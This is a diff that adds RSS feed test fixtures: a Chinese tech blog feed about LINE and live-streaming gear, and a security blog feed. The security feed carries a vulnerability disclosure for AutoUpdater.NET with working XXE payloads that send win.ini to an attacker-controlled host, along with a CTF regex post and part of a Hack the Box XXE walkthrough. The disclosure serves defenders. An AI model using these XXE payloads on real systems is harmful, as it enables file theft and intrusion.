    3. 確認等等要進行會議的人,已經先加好在一個群組裡後,由群組中的任何一個人撥打 LINE 視訊通話
    4. +
    5. 撥通後,要分享螢幕畫面的朋友點選畫面左下角的「分享螢幕畫面」圖示,再選擇要分享哪個螢幕,就可以開始
    6. +
    +

    +

    如果有使用外接螢幕的話,還會請你選擇要分享的是哪個螢幕

    +

    +

    最後 LINE 也提醒大家,如果網路的連線品質越好,影像也會越清晰。而且 如果視訊的時候來不及化妝或是背景有點凌亂不想被看到,Mac 的用戶還能開啟濾鏡 + 模糊背景 來幫自己美化一下!

    +

    LINE 電腦版 5.23.0 更新

    + +

     

    +

     

    +

    這篇文章 用 LINE 也能遠距會議,LINE 電腦版 5.23.0「分享螢幕畫面」最多支援 200 人! 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51714/feed + 0 + + + 51714
    + + 我直播用上哪些設備?相機、無線麥、還有強大的多功能直播機! + https://steachs.com/archives/51670 + https://steachs.com/archives/51670#respond + + + Mon, 23 Mar 2020 16:00:29 +0000 + + + + + + + + + https://steachs.com/?p=51670 + + 今天阿湯會開始慢慢重新做一些直播,主要就是和大家聊聊一些有興趣的東西,也給大家可以線上即時的發問,做一些解答, […]

    +

    這篇文章 我直播用上哪些設備?相機、無線麥、還有強大的多功能直播機! 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    今天阿湯會開始慢慢重新做一些直播,主要就是和大家聊聊一些有興趣的東西,也給大家可以線上即時的發問,做一些解答,不過也不少人好奇阿湯都是用哪些設備在做直播,今天就來和大家分享我用的相機、麥克風、還有 ATEN StreamLive HD 多功能直播機(UC9020),給大家做個參考,未來如果你有要到直播,或許你可以參考我用的這些設備跟型號哦。

    +

    +

    我直播用上哪些設備?

    +

    以前直播的時候,大致上我是很簡單的只用了外接 WebCam 跟筆電,然後搭配手機的有線耳麥就開工了,串接的部份則是搭配 OBS 這軟體,但這樣的搭配,硬體先不說,OBS 如果不懂的調整設定的人,很容易就會在直播發生影音不同步,或者電腦如果太爛的也可能會卡頓,對不夠熟悉的人來說,會有一大堆問題,再加上切換想要顯示的第二或第三畫面時,有時也可能會因為沒選好而切錯讓你手忙腳亂。

    +

    所以現在直播,為了更加簡化這些流程跟直播中的便利性,我則是換用上了 ATEN StreamLive HD 多功能直播機(UC9020),其他設備也都換了,全部設備列表如下:

    +
      +
    • 影像:Sony A6400L(主要)、Gopro Hero 7(次要)
    • +
    • 聲音:麥達拉(WM9)無線麥克風(淘寶購入)
    • +
    • 直播機:UC9020
    • +
    +

    主要就是以上三個,其他輔助的則是 iPad mini 跟筆電,iPad mini 主要是用來連接直播機使用的,筆電則是取得直播所需要的金鑰跟直播後看觀眾留言使用,大致上是這樣,當然,像是相機、麥克風這些,只要你荷包夠深,想要怎麼換都可以,但麥克風我蠻推薦選無線領夾式的,因為收音穩定而且乾淨,如果是用座式的,如果你會動來動去,聲音就會忽大忽小,不過,大家最有興趣的應該是這台直播機可以做些什麼,往下來跟大家分享。

    +

    +

    ATEN StreamLive HD 多功能直播機(UC9020)功能分享:

    +

    直播機的基本設定是透過連接 iPad(iPad Air、iPad Pro、iPad mini 都可以用),如果你的 iPad Pro 已經是 USB-C 的接孔,那就不需要像阿湯一樣還透過轉接器。

    +

    在 APP 裡的設定,主要是設定預備要切換的場景或鏡頭、聲音來源、大小,還有直播的相關設定。

    +

    而直播機本身主要作用,可以讓我們透過實體按鍵快速切換場景、聲音等,基本上效能都是吃直播機,所以你的 iPad 再爛都沒關係,只要能夠顯示畫面就沒問題。

    +

    +

    上面一整排插槽就是用來放 iPad 使用,如果你有 12.9 吋 iPad Pro 也是沒問題的。

    +

    +

    側邊有個耳機孔可以用來聽直播的聲音,右邊的 USB 則是用來連結 iPad 所使用。

    +

    +

    後方的接孔說明如下:

    +
      +
    • SRC/PGM(OUTPUT):這輸出的畫面就是跟直播看到的一模一樣 ,還包括聲音(你可以當做就是監控完整直播畫面)
    • +
    • HDMI 1 LOOP OUT(OUT):HDMI 1 輸入來源的畫面
    • +
    • HDMI 1(IUNPUT):輸入來源,可以接相機等影像視訊設備
    • +
    • HDMI 2(IUNPUT A):輸入來源,可以接相機等影像視訊設備
    • +
    • HDMI 2(IUNPUT B):輸入來源,可以接相機等影像視訊設備
    • +
    • 乙太網路連接埠:網路連線靠這個,所以使用時要接
    • +
    • USB 3.1 Type-A:主要是更新直播機時可以用上
    • +
    • STEREO:AV 音源輸入
    • +
    • MIC:麥克風音源輸入
    • +
    +

    I/O 算是相當完整,不過要是可以再加上 USB 麥克風的接孔就更棒了!

    +

    另外補充一下,最新的韌體版本更新後,你也可以在直播的時候接上 USB 隨身碟,支援後續將 PGM 畫面儲存為 MP4 格式的影片檔,以便後續再剪輯使用,就不用再去下載畫質極差的 FB 影片來剪輯了。

    +

    +

    直播機的實體按鈕主要分為二個區域,左邊這一區是用來切換聲音跟調整音量使用的,全部按鈕都非常的直覺,想要切換哪一個按下去就可以了。

    +

    +

    右邊這一區則是切換影像相關使用,SRC/PGM 按鍵可以切換全畫面、影像跟關閉輸出畫面,右邊的暫停跟 Go Live 按鍵則是可以在想要暫停一下的時候,先幫你切換到預設的畫面,按下 Go Live 就會回到原直播畫面。

    +

    最方便的是下方的 8 個按鍵,這代表著 8 個預設場景,你可以預設設定好 8 個不同的畫面,比如不同的輸入影像、不同的展示資料或是一些要插入的圖片等,只要先設定好,之後想要切換場景時,只要按下數字,再透過右邊的切換方式就可以更換場景。

    +

    最右邊有三種切換方式,那個拉桿是手動切換,就是自己調整過場的速度,Auto 則是預設會是 2 秒完成切換,CUT 是完全不等待,直接切換。

    +

    +

    接下來大概跟大家說明一下 APP 的功能,至於完整教學的部份,其實官方網站已經有詳細的教學影片,大家可以直接參考,我就簡單的往下來說明一些基本操作。

    + +

    +

    APP 上的畫面就像這樣,其實幾乎不太需要看教學就可以上手,主要分為有三個部份、視訊、音訊跟設定。

    +

    而視訊的畫面裡,綠色的 PREVIEW 你準備要切換的預覽畫面(比如你在直播機上按 2,就會在 PREVIEW 先顯示你準備切換的畫面),這樣就可以先看過再開始切換,避免切換錯,而 PROGRAM 這紅框畫面是目前直播出去的畫面。

    +

    下方的八格就是前面提到的,可以進入編輯不同的場景用來切換使用,右邊則是有音量調整,跟場景切換(APP 上也能操作切換)。

    +

    +

    編輯場景的功能,可以有圖層,只要預先做好想要用的圖片後,再到這裡來編輯就可以了,下方的影像也有各種顯示方法,除了選擇來源之外,也可以一次雙畫面等。

    +

    +

    音訊的部份,可以針對不同的聲音來源進行設定,正常來說,如果你有外接麥克風的話,只要保留 MIC 或 LINE IN,其他都可以拉到靜音。

    +

    +

    最後一個設定,主要設定有二個,第一個就是直播時必須輸入的串流網址跟串流金鑰,分別有伺服器 1 跟 2 可以填,也就是同時間最多可以在二個直播平台進行直播,比如 FB 跟 YouTube 同步,另外一個我會調整的是音訊延遲,預設是 300ms,我覺得還是有一點點的影音差,所以我是設定 0,在測試的時候確實幾乎沒有任何秒差,影音同步的非常完美,OBS 最常見的問題就是影音怎麼調整都有些微不同步的問題。

    +

    +

    整個裝起來的樣子就像這樣,左邊看大家的互動,右邊單手就可以輕鬆切換場景。

    +

    +

    給大家看一下我測試的畫面,這是透過電腦的截圖,影像來源是用相機真的是相當的清晰,畫面也完全沒有影音不同步等問題,試了切換場景各種功能也都很流暢。

    +

    +

    實際在操作時,只要按 1~8 數字鍵就可以切換場景,我覺得比起 OBS 是方便很多。

    +

    +

    右邊的拉桿很有操作導播機的感覺,不知道為什麼會讓人有更想多做直播的動力啊!(我有導播魂嗎?!)

    +

    +

    我覺得直播機跟使用 OBS 軟體的差別:

    +

    其實看完上面的一些介紹,只要你有使用過 OBS 做直播的人應該就很清楚差別在哪,我覺得主要有二個:

    +
      +
    • 不用吃電腦的硬體效能,直播時完全不會有卡頓的狀況
    • +
    • 不需要特別調校,影音完全同步
    • +
    • 切換場景、聲效比 OBS 更加直覺
    • +
    +

    認真來說,也可以不用筆電,其實只要用手機看觀眾的留言就可以了,這樣其實設備更加的單純,而這台直播機我覺得玩的可大可小,小的就像我這樣,大的就是把全部連接埠都用上,最多可以有三個視訊來源,再外接個大螢幕看畫面,配個專門操作切換的導播,一個操作鏡頭,應該很厲害。

    +

    如果你是想要用在外出直播使用,那我會建議你可以買一台有乙太網路連接埠的 4G 分享器,這樣外出就一樣可以透過 4G 訊號來連線操作,但其實透過家裡的網路,速度比較快也比較穩,才能有最好的畫質呈現。

    +

    基本上直播機整體能做的功能當然不會比 OBS 多,但是便利性來說是更勝一籌,其實於常態在做直播的人來說,用直播機的操作性、便利性都是遠勝於透過電腦使用 OBS 軟體的,不信嗎?用看看就知道囉。

    +

    ATEN StreamLive HD 多功能直播機(UC9020) 相關資訊:

    + +

    這篇文章 我直播用上哪些設備?相機、無線麥、還有強大的多功能直播機! 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51670/feed + 0 + + + 51670
    +
    +
    diff --git a/tests/feedlib/testdata/parser/warn/https-www-doyler-net-feed.xml b/tests/feedlib/testdata/parser/warn/https-www-doyler-net-feed.xml new file mode 100644 index 0000000..08af9f9 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-www-doyler-net-feed.xml @@ -0,0 +1,2290 @@ + + + + + doyler.net + + https://www.doyler.net + + Sat, 28 Mar 2020 20:19:32 +0000 + en-US + + hourly + + 1 + https://wordpress.org/?v=5.4 +90191124 + AutoUpdater Vulnerability – XXE Injection (CVE-2019-20627) + https://www.doyler.net/security-not-included/autoupdater-net-vulnerability + https://www.doyler.net/security-not-included/autoupdater-net-vulnerability#respond + + + Sat, 28 Mar 2020 16:00:55 +0000 + + https://www.doyler.net/?p=4462 + + I recently found an AutoUpdater Vulnerability, and I am now ready to publish it. AutoUpdater Vulnerability - Introduction The AutoUpdater.NET version 1.5.7 library is vulnerable to an XXE injection attack. This is a popular library, based on the GitHub statistics. … Continue reading

    +

    The post AutoUpdater Vulnerability – XXE Injection (CVE-2019-20627) appeared first on doyler.net.

    +]]>
    + I recently found an AutoUpdater Vulnerability, and I am now ready to publish it.

    +

    +

    AutoUpdater Vulnerability - Introduction

    +

    The AutoUpdater.NET version 1.5.7 library is vulnerable to an XXE injection attack.

    +

    This is a popular library, based on the GitHub statistics.

    +

    AutoUpdater Vulnerability - GitHub stats

    +

    I found the vulnerability easily, but the developer was quick to respond and patch the issue.

    +

    I ran across this library while testing a different application, so hopefully I can share those vulnerabilities soon as well.

    +

    The format will be like my NateMail disclosure, but please let me know if you have any suggestions or updates.

    +

    Improper Restriction of XML External Entity Reference (CVE-2019-20627)

    +

    Detailed Information

    +

    An XML external entity (XXE) vulnerability in the RBSoft AutoUpdater.NET version 1.5.7 application allows an attacker to cause a denial of service, conduct SMB Relay attacks, reach internal network endpoints, or access arbitrary files via a malicious update.xml file.

    +

    First, the tester built a demo application to verify the updater functionality. The following demo points AutoUpdater to a server under the tester’s control, for demo purposes.

    +
    +using System;
    +using System.Collections.Generic;
    +using System.Linq;
    +using System.Text;
    +using System.Windows;
    +using System.Windows.Controls;
    +using System.Windows.Data;
    +using System.Windows.Documents;
    +using System.Windows.Input;
    +using System.Windows.Media;
    +using System.Windows.Media.Imaging;
    +using System.Windows.Navigation;
    +using System.Windows.Shapes;
    +
    +using AutoUpdaterDotNET;
    +
    +namespace UpdaterTest
    +{
    +    /// <summary>
    +    /// Interaction logic for MainWindow.xaml
    +    /// </summary>
    +    public partial class MainWindow : Window
    +    {
    +        public MainWindow()
    +        {
    +            InitializeComponent();
    +        }
    +
    +        private void Button_Click(object sender, RoutedEventArgs e)
    +        {
    +            AutoUpdater.Start("http://r4y.pw/update.xml");
    +        }
    +    }
    +}
    +
    +

    Next, the tester created a malicious update.xml file, based on the RBSoft supplied example. As you can see, this references an external DTD on the Burp Collaborator server.

    +
    +<?xml version="1.0" ?>
    +  <!DOCTYPE root [
    +  <!ENTITY % ext SYSTEM "http://l9v77vu7hd6scxvor5azndsuul0bo0.burpcollaborator.net/x"> %ext;
    +]>
    +
    +<item>
    +    <version>2.0.0.0</version>
    +    <url>http://rbsoft.org/downloads/AutoUpdaterTest.zip</url>
    +    <changelog>https://github.com/ravibpatel/AutoUpdater.NET/releases</changelog>
    +    <mandatory>false</mandatory>
    +</item>
    +
    +

    The following screenshot shows the application making requests to the Collaborator server.

    +

    AutoUpdater Vulnerability - Collaborator

    +

    The following raw HTTP request and response demonstrates the application calling out to the Collaborator server.

    +

    Raw Request

    +
    +GET /x HTTP/1.1
    +Host: l9v77vu7hd6scxvor5azndsuul0bo0.burpcollaborator.net
    +Connection: Keep-Alive
    +
    +

    Raw Response

    +
    +HTTP/1.1 200 OK
    +Server: Burp Collaborator https://burpcollaborator.net/
    +X-Collaborator-Version: 4
    +Content-Type: text/html
    +Content-Length: 53
    +
    +<html><body>eqgf4fyz7yxbjo9bm56x9uzjigz</body></html>
    +
    +

    With some modifications, the tester declared an external DTD, to show data exfiltration of the wini.ini file. You can find the modified update.xml file below.

    +
    +<?xml version="1.0" ?>
    +<!DOCTYPE r [
    +  <!ELEMENT r ANY >
    +  <!ENTITY % sp SYSTEM "http://r4y.pw/evil.dtd">
    +  %sp;
    +  %param1;
    +]>
    +
    +<r>&exfil;</r>
    +
    +<item>
    +    <version>2.0.0.0</version>
    +    <url>http://rbsoft.org/downloads/AutoUpdaterTest.zip</url>
    +    <changelog>https://github.com/ravibpatel/AutoUpdater.NET/releases</changelog>
    +    <mandatory>false</mandatory>
    +</item>
    +
    +

    Additionally, you can find the contents of the evil.dtd below. As you can see, the DTD loads the win.ini file, and then sends it back to the attacker-controlled server.

    +
    +<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
    +<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://r4y.pw/%data;'>">
    +
    +

    The following HTTP server logs show the request for update.xml by AutoUpdater, followed be the request for the evil.dtd, and finally the request with exfiltrated win.ini file.

    +
    +70.x.x.x - - [29/Oct/2019:00:07:16 +0000] "GET /update.xml HTTP/1.1" 200 683 "-" "AutoUpdater.NET"
    +70.x.x.x - - [29/Oct/2019:00:07:16 +0000] "GET /evil.dtd HTTP/1.1" 200 324 "-" "-"
    +70.x.x.x - - [29/Oct/2019:00:07:16 +0000] "GET /;%20for%2016-bit%20app%20support%0D%0A%5Bfonts%5D%0D%0A%5Bextensions%5D%0D%0A%5Bmci%20extensions%5D%0D%0A%5Bfiles%5D%0D%0A%5BMail%5D%0D%0AMAPI=1%0D%0A%5BMCI%20Extensions.BAK%5D%0D%0A3g2=MPEGVideo%0D%0A3gp=MPEGVideo%0D%0A3gp2=MPEGVideo%0D%0A3gpp=MPEGVideo%0D%0Aaac=MPEGVideo%0D%0Aadt=MPEGVideo%0D%0Aadts=MPEGVideo%0D%0Am2t=MPEGVideo%0D%0Am2ts=MPEGVideo%0D%0Am2v=MPEGVideo%0D%0Am4a=MPEGVideo%0D%0Am4v=MPEGVideo%0D%0Amod=MPEGVideo%0D%0Amov=MPEGVideo%0D%0Amp4=MPEGVideo%0D%0Amp4v=MPEGVideo%0D%0Amts=MPEGVideo%0D%0Ats=MPEGVideo%0D%0Atts=MPEGVideo HTTP/1.1" 403 432 "-" "-"
    +
    +

    Affected URLs and Parameters / Limiting Factors

    +

    The entire AppCast XML file is the vulnerable injection point.

    +

    Due to the application pointing to a specific update.xml file, an attacker would need to either point the update to a malicious update.xml file, or man-in-the-middle the connection and modify the update.xml file in transit.

    +

    Recommendations

    +

    The safest way to prevent XXE is always to disable DTDs (External Entities) completely. In this case, as the library is using the .NET XmlDocument, the xmlDoc.XmlResolver should be set to null. Note that updating the target framework to .Net 4.6 will cause this behavior by default.

    +

    For more information, please see the XXE Prevention Cheat Sheet.

    +

    AutoUpdater Vulnerability - Severity

    +

    Severity: High

    +

    CVSSv3

    +

    8.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L)

    +

    Damage

    +

    An attacker can use this vulnerability to compromise the confidentiality of the system running the AutoUpdater application and/or lead to exploitation of the victim’s system.

    +

    Reproducibility

    +

    This attack is easily reproducible and will work on any application using AutoUpdater.NET up to version 1.5.7.

    +

    Exploitability

    +

    If an attacker can host a malicious update.xml file, or change a target update.xml file in transit, then the attack is easily automated.

    +

    AutoUpdater Vulnerability - Disclosure Timeline

    +

    10/29/2019 - Initial attempt to contact vendor.
    +10/30/2019 - Initial vendor contact to discuss secure communication channel.
    +10/30/2019 - Initial disclosure to vendor.
    +10/31/2019 - Vendor acknowledged and patched.
    +10/31/2019 - CVE requested.
    +12/3/2019 - CVE updates sent, and status requested.
    +1/10/2020 - CVE again requested.
    +3/22/2020 - CVE AGAIN requested, using a different e-mail address.
    +3/23/2020 - CVE assigned (CVE-2019-20627).
    +3/28/2020 - This post published.

    +

    AutoUpdater Vulnerability - Patched

    +

    Finally, just one day after I sent my disclosure to the developer, they committed a patch.

    +

    Also, I got an advance release of version 1.5.8 to test the fix.

    +

    AutoUpdater Vulnerability - Patched

    +

    As expected, the application only made a request for update.xml, and not my malicious DTD files.

    +
    +174.x.x.x - - [31/Oct/2019:14:49:34 +0000] "GET /update.xml HTTP/1.1" 200 683 "-" "AutoUpdater.NET"
    +
    +

    AutoUpdater Vulnerability - Conclusion

    +

    This was a cool vulnerability, and it was great to find XXE in the wild again.

    +

    I'm getting a better handle on the CVE process, but sometimes it can take a long time to get a response. I still have more vulnerabilities in the works, so stay tuned.

    +

    If you have any ideas for research or posts, then please let me know!

    +

    The post AutoUpdater Vulnerability – XXE Injection (CVE-2019-20627) appeared first on doyler.net.

    +]]>
    + + https://www.doyler.net/security-not-included/autoupdater-net-vulnerability/feed + 0 + + + 4462
    + + CTF Regex for Flags and Victory (DerbyCon 2019) + https://www.doyler.net/security-not-included/ctf-regex + https://www.doyler.net/security-not-included/ctf-regex#comments + + + Tue, 24 Mar 2020 20:08:43 +0000 + + https://www.doyler.net/?p=4350 + + We have been using some CTF regex recently, and I thought it was worth sharing. CTF Regex - Introduction During our first DerbyCon CTF, we ended up missing a few flags that could have gotten us the win. While that … Continue reading

    +

    The post CTF Regex for Flags and Victory (DerbyCon 2019) appeared first on doyler.net.

    +]]>
    + We have been using some CTF regex recently, and I thought it was worth sharing.

    +

    +

    CTF Regex - Introduction

    +

    During our first DerbyCon CTF, we ended up missing a few flags that could have gotten us the win.

    +

    While that stung, we wanted to make sure it didn't happen again. For this specific issue, we had our regex guru, RecViking, get to work on a solution.

    +

    In the end, he whipped together a one-liner for us to use, and I ended up finding at least one new flag with it during our DerbyCon 9 victory!

    +

    DerbyCon Flags

    +

    If you've never competed in a DerbyCon CTF, then the following is an example of what the flags look like.

    +
    +NiceIDORExploitYo349
    +
    +

    These flags are camel case, long, and have some numbers in the middle/at the end.

    +

    You can find the command that RecViking came up below to find these for us. Note that this will search the entire disk, but you can narrow it down to specific directories if you'd like.

    +
    +egrep -r -o -e "[A-Z]([A-Z0-9]*[a-z][a-z0-9]*[A-Z]|[a-z0-9]*[A-Z][A-Z0-9]*[a-z])[A-Za-z0-9]*" / | sed -n '/.\{12\}/p' | sort | uniq
    +
    +

    The grep command will look for camel case patterns that might resemble flags, and then the sed command just narrows down the results to anything over 12 characters. We ran into a lot of broken ASCII inside of binary files, and all the flags that we had saved were at least 14 characters.

    +

    As I'm not the regex expert, I recommend you check out the explanation on regex101 if you want to understand it further.

    +

    CTF Regex - Testing the Command

    +

    While I do not have all the flags from the DerbyCon 9 CTF, I did grab some from our Trello board.

    +
    +FinalLap
    +RedDot
    +DoesNotMatter
    +PapersPlease
    +PapersPlease
    +DerpMail
    +Kc57LovesDotNetObfuscation
    +Kc57Kc57Kc57Kc57
    +StormbeatherintheUncannyX-Men170
    +TheRedirectMasta
    +PerlFTWLarryRules
    +IReadYourEmails7331
    +DESTROYallSOFtWare!!
    +Mutantsgotclawsinthe212
    +GeneNationandthe198
    +IceIceBabyIceCubeIceT993
    +OMGCanHazSomePointz2332
    +HerpDerp8234DerpHerp
    +ItIsIllegalToHackDis23444
    +DerpyAdm
    +fileserve
    +files
    +DerpyConIzDaB3stConferenceEVAR1337
    +NiceIDORExploitYo349
    +DerpyDB
    +HerpDerpyConAdmin
    +D3rpyC0n
    +Congr4tzYouG0t@Dm1n8888
    +TableNameForBigMoney777858
    +ColumnNameForTheWin939
    +IfYouGotThisYouAreAmazing999333
    +YouAreTheTrueSQLMaster77727
    +YouReadTheSourceCodeDerpDerp
    +ATicketToTheShow
    +WooYouAreAStaffMember
    +WooYouGotIn!
    +WellYouAreOnTheConsoleNowMyFriend
    +DoesAnyoneRememberPwndU
    +DerpyCon
    +HeyYouDeserveAFlagForYourWebShell
    +AhYouHaveUsedTheSrcLuke
    +OkNowYouRootedMyBoxDadGum
    +GoodYoureStillReadingHTMLComments
    +WebminOnTheBeach
    +ProcFlagProcFlagProc
    +R007LOGINSHELLZ
    +LOGINSHELLZ
    +DoesNotMatter
    +AmaraAquillafromBC44
    +Livingunderthe10110
    +
    +

    I'm not certain which of these were found with our one-liner, but I know that at least one was.

    +

    While these flags were obviously in different file types, grep would be able to search my test file just fine.

    +
    +doyler@mbp:~/Documents/grep$ sort -u test.txt | wc -l
    +      48
    +
    +

    When I ran this command in my test directory, I managed to find 87.5% (42/48) of my saved flags!

    +
    +doyler@mbp:~/Documents/grep$ egrep -r -o -e "[A-Z]([A-Z0-9]*[a-z][a-z0-9]*[A-Z]|[a-z0-9]*[A-Z][A-Z0-9]*[a-z])[A-Za-z0-9]*" ./ | sed -n '/.\{12\}/p' | sort | uniq
    +.//test.txt:ATicketToTheShow
    +.//test.txt:AhYouHaveUsedTheSrcLuke
    +.//test.txt:AmaraAquillafromBC44
    +.//test.txt:ColumnNameForTheWin939
    +.//test.txt:Congr4tzYouG0t
    +.//test.txt:D3rpyC0n
    +.//test.txt:DESTROYallSOFtWare
    +.//test.txt:DerpMail
    +.//test.txt:DerpyAdm
    +.//test.txt:DerpyCon
    +.//test.txt:DerpyConIzDaB3stConferenceEVAR1337
    +.//test.txt:DerpyDB
    +.//test.txt:DoesAnyoneRememberPwndU
    +.//test.txt:DoesNotMatter
    +.//test.txt:FinalLap
    +.//test.txt:GeneNationandthe198
    +.//test.txt:GoodYoureStillReadingHTMLComments
    +.//test.txt:HerpDerp8234DerpHerp
    +.//test.txt:HerpDerpyConAdmin
    +.//test.txt:HeyYouDeserveAFlagForYourWebShell
    +.//test.txt:IReadYourEmails7331
    +.//test.txt:IceIceBabyIceCubeIceT993
    +.//test.txt:IfYouGotThisYouAreAmazing999333
    +.//test.txt:ItIsIllegalToHackDis23444
    +.//test.txt:Kc57Kc57Kc57Kc57
    +.//test.txt:Kc57LovesDotNetObfuscation
    +.//test.txt:NiceIDORExploitYo349
    +.//test.txt:OMGCanHazSomePointz2332
    +.//test.txt:OkNowYouRootedMyBoxDadGum
    +.//test.txt:PapersPlease
    +.//test.txt:PerlFTWLarryRules
    +.//test.txt:ProcFlagProcFlagProc
    +.//test.txt:RedDot
    +.//test.txt:StormbeatherintheUncannyX
    +.//test.txt:TableNameForBigMoney777858
    +.//test.txt:TheRedirectMasta
    +.//test.txt:WebminOnTheBeach
    +.//test.txt:WellYouAreOnTheConsoleNowMyFriend
    +.//test.txt:WooYouAreAStaffMember
    +.//test.txt:WooYouGotIn
    +.//test.txt:YouAreTheTrueSQLMaster77727
    +.//test.txt:YouReadTheSourceCodeDerpDerp
    +doyler@mbp:~/Documents/grep$ egrep -r -o -e "[A-Z]([A-Z0-9]*[a-z][a-z0-9]*[A-Z]|[a-z0-9]*[A-Z][A-Z0-9]*[a-z])[A-Za-z0-9]*" ./ | sed -n '/.\{12\}/p' | sort | uniq | wc -l
    +      42
    +
    +

    When I inverted the matches, I was able to see the six flags that my command did not not return.

    +
    +doyler@mbp:~/Documents/grep$ egrep -r -o -v "[A-Z]([A-Z0-9]*[a-z][a-z0-9]*[A-Z]|[a-z0-9]*[A-Z][A-Z0-9]*[a-z])[A-Za-z0-9]*" ./ | sed -n '/.\{12\}/p' | sort | uniq | wc -l
    +       6
    +doyler@mbp:~/Documents/grep$ egrep -r -o -v "[A-Z]([A-Z0-9]*[a-z][a-z0-9]*[A-Z]|[a-z0-9]*[A-Z][A-Z0-9]*[a-z])[A-Za-z0-9]*" ./ | sed -n '/.\{12\}/p' | sort | uniq
    +.//test.txt:LOGINSHELLZ
    +.//test.txt:Livingunderthe10110
    +.//test.txt:Mutantsgotclawsinthe212
    +.//test.txt:R007LOGINSHELLZ
    +.//test.txt:files
    +.//test.txt:fileserve
    +
    +

    As you can see, these flags were either not long enough, or not quite camel case.

    +

    Other CTFs

    +

    This strategy is even more useful in CTFs with a standard flag format.

    +

    For example, here is an example of me running this command during a CTF that RecViking was setting up.

    +
    +ctfuser@ip-172-26-10-254:~$ egrep -r -o -e "flag{.*" / 2>/dev/null | sed -n '/.\{12\}/p' | sort | uniq
    +/home/ctfuser/.bash_history:flag{FLAG GOES HERE}
    +/home/ctfuser/.bashrc:flag{FLAG GOES HERE}
    +/home/ctfuser2/flag.txt:flag{FLAG GOES HERE}
    +/usr/bin/find:flag{FLAG GOES HERE}
    +/usr/bin/find:flag{FLAG GOES HERE}"
    +/usr/bin/nmap:flag{FLAG GOES HERE}
    +/usr/bin/nmap:flag{FLAG GOES HERE}"
    +/var/skel/.bash_history:flag{FLAG GOES HERE}
    +/var/skel/.bashrc:flag{FLAG GOES HERE}
    +/var/www/html/admin/index.html:flag{FLAG GOES HERE}
    +/var/www/html/index.html:flag{FLAG GOES HERE}
    +/var/www/html/robots.txt:flag{FLAG GOES HERE}: /
    +Binary file /proc/1361/cmdline matches
    +Binary file /proc/1361/task/1361/cmdline matches
    +Binary file /var/cache/snapd/commands.db matches
    +
    +

    While this will not work in most Jeopardy style CTFs, it is great to run for something that is scenario-based, like our EverSec CTF.

    +

    CTF Regex - Conclusion

    +

    This was a command that we got from RecViking, but I wanted to share it now that DerbyCon is over.

    +

    While less relevant to my future CTFs, I also thought about trying to use something like YARA rules to do something similar.

    +

    If you have any other examples of indirectly searching for flags, then I'd love to hear them!

    +

    The post CTF Regex for Flags and Victory (DerbyCon 2019) appeared first on doyler.net.

    +]]>
    + + https://www.doyler.net/security-not-included/ctf-regex/feed + 2 + + + 4350
    + + Hack the Box DevOops Walkthrough – XXE FTW + https://www.doyler.net/security-not-included/hack-the-box-devoops + https://www.doyler.net/security-not-included/hack-the-box-devoops#respond + + + Sat, 21 Mar 2020 16:00:58 +0000 + + https://www.doyler.net/?p=4619 + + While it was a bit ago, I also solved the Hack the Box DevOops box. Hack the Box DevOops - Introduction DevOops was my second HtB solve, after I finished Nibbles. This was a fun box, and I always love … Continue reading

    +

    The post Hack the Box DevOops Walkthrough – XXE FTW appeared first on doyler.net.

    +]]>
    + While it was a bit ago, I also solved the Hack the Box DevOops box.

    +

    +

    Hack the Box DevOops - Introduction

    +

    DevOops was my second HtB solve, after I finished Nibbles.

    +

    This was a fun box, and I always love playing with XXE.

    +

    I think that my 30-day access is over, but I may eventually reactivate if I have time.

    +

    Enumeration

    +

    First, I found that port 22 and 5000 were open on the server.

    +
    +Nmap scan report for 10.10.10.91
    +Host is up (0.041s latency).
    +Not shown: 65533 closed ports
    +PORT     STATE SERVICE VERSION
    +22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
    +5000/tcp open  http    Gunicorn 19.7.1
    +No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
    +TCP/IP fingerprint:
    +OS:SCAN(V=7.80%E=4%D=12/19%OT=22%CT=1%CU=43691%PV=Y%DS=2%DC=I%G=Y%TM=5DFBD1
    +OS:6B%P=x86_64-apple-darwin18.6.0)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=I%II=I%T
    +OS:S=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=
    +OS:M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7
    +OS:120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
    +OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
    +OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
    +OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
    +OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
    +OS:T=40%CD=S)
    +
    +

    Since it seemed like a likely foothold, I looked at . This was an under-construction page that mentioned a feed.py file.

    +

    Hack the Box DevOops - Under construction

    +

    After scanning for more files or folders, I found the http://10.10.10.91:5000/upload directory.

    +

    This was a test API that took an XML file upload, which seemed promising.

    +

    Hack the Box DevOops - Upload

    +

    Hack the Box DevOops - Exploitation

    +

    With an XML file upload, I figured that XXE Injection would be my initial foothold.

    +

    First, I tried to read /etc/passwd with a basic XML file.

    +
    +POST /upload HTTP/1.1
    +Host: 10.10.10.91:5000
    +Content-Length: 414
    +Cache-Control: max-age=0
    +Origin: http://10.10.10.91:5000
    +Upgrade-Insecure-Requests: 1
    +Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymfAR6unm6rnoKPEA
